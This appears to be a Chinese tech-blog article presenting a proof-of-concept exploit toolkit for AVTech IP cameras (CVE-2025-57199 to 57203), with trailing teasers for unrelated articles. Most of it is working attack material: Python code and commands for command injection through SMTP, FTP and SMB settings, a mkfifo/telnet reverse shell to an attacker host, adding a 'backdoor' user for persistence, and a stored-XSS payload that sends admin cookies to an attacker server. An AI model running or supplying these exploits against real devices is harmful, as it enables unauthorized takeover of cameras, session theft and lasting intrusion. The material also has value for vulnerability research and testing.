news 2026/2/26 2:23:00

深入剖析:AVTech IP摄像机漏洞利用工具集

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
深入剖析:AVTech IP摄像机漏洞利用工具集

项目标题与描述

AVTech PoCs是一个专门针对AVTech IP摄像机中多个已发现漏洞的概念验证(Proof of Concept)工具集合。该项目实现了对CVE-2025-57199、CVE-2025-57200、CVE-2025-57201、CVE-2025-57202和CVE-2025-57203的利用,通过自动化脚本演示了这些安全漏洞的实际危害。

核心价值在于为安全研究人员和渗透测试人员提供了一套完整的测试工具,用于验证AVTech IP摄像机的安全性,提高对物联网设备安全威胁的认识。

功能特性

  • 多漏洞支持:完整覆盖CVE-2025-57199至CVE-2025-57203五个关键漏洞
  • 多种攻击向量
    • SMTP配置命令注入(CVE-2025-57199)
    • FTP配置命令注入(CVE-2025-57200)
    • SMB配置命令注入(CVE-2025-57201)
    • 网络故障检测命令注入(CVE-2025-57202)
    • 存储型XSS攻击(CVE-2025-57203)
  • 灵活的攻击方式
    • 直接命令执行
    • 反向Shell获取
    • XSS会话劫持
  • 自动化利用流程:自动登录、配置获取、参数污染、功能触发
  • 详细的调试输出:JSON格式的配置信息展示,便于分析和调试

安装指南

系统要求

  • Python 3.6+
  • 支持的网络环境(可访问目标设备)
  • Linux/macOS/Windows操作系统

依赖安装

# 安装必要的Python依赖pipinstallrequests# 克隆项目gitclone<repository-url>cdavtech-pocs

环境配置

无需特殊配置,确保Python环境正确设置即可。

平台注意事项

  • 所有脚本基于标准Python库,跨平台兼容
  • 网络连接需要能够访问目标设备的Web管理端口(默认88)
  • 反向Shell功能需要在攻击机上启动监听服务

使用说明

基础使用示例

1. SMTP命令注入攻击
python exploit_smtp.py --target-ip192.168.1.100--usernameadmin--passwordadmin--command"id"
2. FTP命令注入攻击
python exploit_ftp.py --target-ip192.168.1.100--usernameadmin--passwordadmin--command"uname -a"
3. 获取反向Shell
# 在攻击机上启动监听nc-lvp4444# 执行反向Shell攻击python exploit_smtp.py --target-ip192.168.1.100--usernameadmin--passwordadmin --attacker-ip192.168.1.50 --attacker-port4444--reverse-shell
4. XSS会话窃取
# 在攻击机上启动HTTP服务监听python-mhttp.server8080# 执行XSS攻击python exploit_xss.py --target-ip192.168.1.100--usernameadmin--passwordadmin --attacker-ip192.168.1.50 --attacker-port8080

典型使用场景

场景1:安全评估验证

# 验证设备是否存在SMTP注入漏洞python exploit_smtp.py-t192.168.1.100-Uadmin-Padmin-c"echo 'Vulnerable!' > /tmp/test.txt"

场景2:权限维持

# 通过SMB配置注入创建后门用户python exploit_smb.py-t192.168.1.100-c"useradd -r -s /bin/bash backdoor"

场景3:横向移动

# 使用XSS窃取管理员cookie,实现权限提升python exploit_xss.py --target-ip192.168.1.100 --attacker-ip10.0.0.5 --attacker-port9000

API概览

项目核心是DGM1104类,提供以下主要方法:

  • login(username, password): 设备认证
  • get_ftp_fields(): 获取FTP配置
  • get_smtp_fields(): 获取SMTP配置
  • get_smb_fields(): 获取SMB配置
  • get_network_failure_fields(): 获取网络故障检测配置
  • set_config_fields(config_values): 设置配置参数
  • execute_ftp_test(): 触发FTP测试
  • execute_smtp_test(): 触发SMTP测试
  • add_user(username, password): 添加用户(用于XSS攻击)

核心代码

1. 主设备交互类(dgm1104.py)

importrandomfrombase64importb64encodefromcopyimportdeepcopyfromrequestsimportReadTimeout,Session,ResponsefromtypingimportDict,List,Optionalfromurllib.parseimportquoteimportloggingclassDGM1104:CONFIG_PATH:str="/cgi-bin/user/Config.cgi"PWDGRP_PATH:str="/cgi-bin/supervisor/PwdGrp.cgi"def__init__(self,hostname:str,port:int=88,https:bool=False)->None:self.session=Session()protocol:str='https'ifhttpselse'http'self.base_url:str=f'{protocol}://{hostname}:{port}'deflogin(self,username:str,password:str)->bool:"""设备登录认证 Args: username: 用户名 password: 密码 Returns: 登录是否成功 """account_string:str=f"{username}:{password}"account_string_b64:str=b64encode(account_string.encode()).decode()random_float:float=random.random()verify_path:str=f"/cgi-bin/nobody/VerifyCode.cgi?account={account_string_b64}&rnd={random_float}"url:str=self.base_url+verify_path response:Response=self.session.get(url)login_successful:bool=(response.status_code==200andlen(self.session.cookies)>=1)returnlogin_successfuldefget_config_category(self,category:str="Network.FTP")->Optional[Dict[str,str]]:"""获取指定配置类别的所有字段 Args: category: 配置类别路径 Returns: 配置字典或None(失败时) """url:str=self.base_url+self.CONFIG_PATH data:Dict[str,str]={"action":"get","category":f"{category}.*"}try:response:Response=self.session.post(url=url,data=data)response_lines:List[str]=response.text.split('\n')[2:]iflen(response_lines)<=2:returnNoneconfig_values:Dict[str,str]={}forlineinresponse_lines:first_equals_index=line.find('=')iffirst_equals_index==-1:continuekey:str=line[:first_equals_index]value:str=line[first_equals_index+1:]config_values[key]=valuereturnconfig_valuesexceptExceptionase:logging.error(f"Failed to get config category{category}:{e}")returnNone

2. SMTP命令注入利用脚本(exploit_smtp.py)

importargparseimportjsonimportloggingimportsysfromcopyimportdeepcopyfromtypingimportDict,Optionalfromdgm1104importDGM1104 EXIT_FAILURE:int=1EXIT_SUCCESS:int=0defexploit(target_ip:str,target_port:int,username:str,password:str,command:str,)->bool:"""执行SMTP配置命令注入攻击 Args: target_ip: 目标设备IP target_port: 目标设备端口 username: 认证用户名 password: 认证密码 command: 要执行的命令 Returns: 攻击是否成功 """# 初始化设备连接device:DGM1104=DGM1104(hostname=target_ip,port=target_port,)# 登录设备logged_in:bool=device.login(username=username,password=password,)ifnotlogged_in:logging.error("[!] Failed to log into device.")returnFalselogging.info("[+] Logged into device successfully.")# 获取原始SMTP配置original_smtp_fields:Optional[Dict[str,str]]=device.get_smtp_fields()iforiginal_smtp_fieldsisNone:logging.error("[!] Failed to get original SMTP fields")returnFalse# 打印原始配置(调试信息)original_smtp_fields_json_str:str=json.dumps(original_smtp_fields,indent=4,)logging.debug("[+] Retrieved Original SMTP Fields:\n"+original_smtp_fields_json_str)# 构造恶意配置(命令注入)new_smtp_fields:Dict[str,str]=deepcopy(original_smtp_fields)new_smtp_fields["Network.SMTP.Sender"]=f"`{command}`"# 设置恶意配置smtp_fields_set:bool=device.set_config_fields(config_values=new_smtp_fields,)ifnotsmtp_fields_set:logging.error("[!] Failed to set SMTP fields")returnFalselogging.debug("[+] Set SMTP sender field with poisoned value.")# 触发SMTP测试,执行命令smtp_test_executed:bool=device.execute_smtp_test()ifnotsmtp_test_executed:logging.error("[!] Failed to execute SMTP test.")returnFalselogging.info("[+] Command Executed!")returnTruedefreverse_shell(target_ip:str,target_port:int,username:str,password:str,attacker_ip:str,attacker_port:int,)->bool:"""建立反向Shell连接 Args: target_ip: 目标设备IP target_port: 目标设备端口 username: 认证用户名 password: 认证密码 attacker_ip: 攻击者IP attacker_port: 攻击者监听端口 Returns: 反向Shell是否成功建立 """# 构造反向Shell命令reverse_shell_command:str=("TF=$(mktemp -u);mkfifo $TF && telnet "+attacker_ip+" "+str(attacker_port)+" 0<$TF | sh 1>$TF")# 使用SMTP注入执行反向Shell命令returnexploit(target_ip=target_ip,target_port=target_port,username=username,password=password,command=reverse_shell_command,)

3. XSS攻击利用脚本(exploit_xss.py)

importargparseimportsysfromtypingimportOptionalfromdgm1104importDGM1104 EXIT_FAILURE:int=1EXIT_SUCCESS:int=0# 默认XSS Payload:简单的JavaScript弹窗DEFAULT_PAYLOAD:str='<img src=x onerror="print()" />'defexploit(target_ip:str,target_port:int,username:str,password:str,payload:str,)->bool:"""执行存储型XSS攻击 Args: target_ip: 目标设备IP target_port: 目标设备端口 username: 认证用户名 password: 认证密码 payload: XSS攻击载荷 Returns: 攻击是否成功 """# 初始化设备连接device:DGM1104=DGM1104(hostname=target_ip,port=target_port,)# 登录设备logged_in:bool=device.login(username=username,password=password,)ifnotlogged_in:print("[!] Failed to log into device.")returnFalseprint("[+] Logged into device successfully.")# 添加恶意用户(用户名为XSS Payload)user_added:bool=device.add_user(username=payload,password="password")ifnotuser_added:print("[!] Failed to add user!")returnFalseprint(f"[+] Set created a user account with{payload}payload as username.")print(f"[*] Either visit the accounts page to trigger the payload, or wait for another user to.")returnTruedefgenerate_xss_cookie_payload(ip:str,port:str)->str:"""生成Cookie窃取XSS Payload Args: ip: 攻击者服务器IP port: 攻击者服务器端口 Returns: 构造好的XSS Payload """returnf"""<img src=x onerror="this.src='http://{ip}:{port}/?'+document.cookie; this.removeAttribute('onerror');">"""

这些核心代码展示了项目的技术实现细节,包括设备交互、漏洞利用逻辑和攻击载荷构造。代码结构清晰,注释详细,便于安全研究人员理解和修改。
6HFtX5dABrKlqXeO5PUv//BvmoPhYvgx1TRcZLWgRyY=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/25 1:31:58

RS-LoRA进阶技巧:多阶段适配器融合提升小样本学习效果

RS-LoRA进阶技巧&#xff1a;多阶段适配器融合提升小样本学习效果 在当前大模型落地加速的背景下&#xff0c;一个现实矛盾日益凸显&#xff1a;企业希望快速定制专属AI能力&#xff0c;但又难以承受全量微调带来的高昂算力与时间成本。尤其是在医疗、金融等垂直领域&#xff0…

作者头像 李华
网站建设 2026/2/24 16:08:50

C17泛型选择实战精讲(代码示例大放送)

第一章&#xff1a;C17泛型选择的核心概念与背景C17标准引入了泛型选择&#xff08;Generic Selection&#xff09;这一重要特性&#xff0c;旨在提升C语言在类型处理上的灵活性与安全性。泛型选择允许开发者根据表达式的类型&#xff0c;在编译时选择不同的实现路径&#xff0…

作者头像 李华
网站建设 2026/2/23 20:45:45

TensorRT推理卡顿怎么办?,C语言级优化技巧大公开

第一章&#xff1a;TensorRT推理卡顿问题的根源剖析在深度学习模型部署过程中&#xff0c;使用NVIDIA TensorRT进行推理加速已成为常见实践。然而&#xff0c;许多开发者在实际应用中频繁遭遇推理延迟突增、吞吐量下降等卡顿现象。这类问题往往并非由单一因素导致&#xff0c;而…

作者头像 李华
网站建设 2026/2/25 5:09:20

Chrome Remote Desktop配置:浏览器直连方案

Chrome Remote Desktop配置&#xff1a;浏览器直连方案 在大模型开发日益普及的今天&#xff0c;越来越多的研究者和工程师面临一个共同挑战&#xff1a;如何用最轻量的方式访问远程GPU服务器&#xff0c;进行模型训练与调试&#xff1f;传统的SSH虽然稳定&#xff0c;但面对图…

作者头像 李华
网站建设 2026/2/25 9:15:58

全面讲解肖特基二极管作为开关器件的优势

肖特基二极管为何在开关电路中“快人一步”&#xff1f;你有没有遇到过这样的问题&#xff1a;设计一个DC-DC电源&#xff0c;效率怎么都提不上去&#xff1f;轻载时还好&#xff0c;一到大电流输出&#xff0c;温度蹭蹭往上涨&#xff0c;EMI还老超标。排查一圈下来&#xff0…

作者头像 李华
网站建设 2026/2/21 11:30:58

快照Snapshot定期备份:整机状态一键还原

快照Snapshot定期备份&#xff1a;整机状态一键还原 在大模型研发的日常中&#xff0c;你是否经历过这样的场景&#xff1a;花了一整天下载 Qwen-14B 的权重&#xff0c;刚跑完一轮 LoRA 微调&#xff0c;正准备开始第二阶段训练时&#xff0c;一个误操作 pip install 安装了不…

作者头像 李华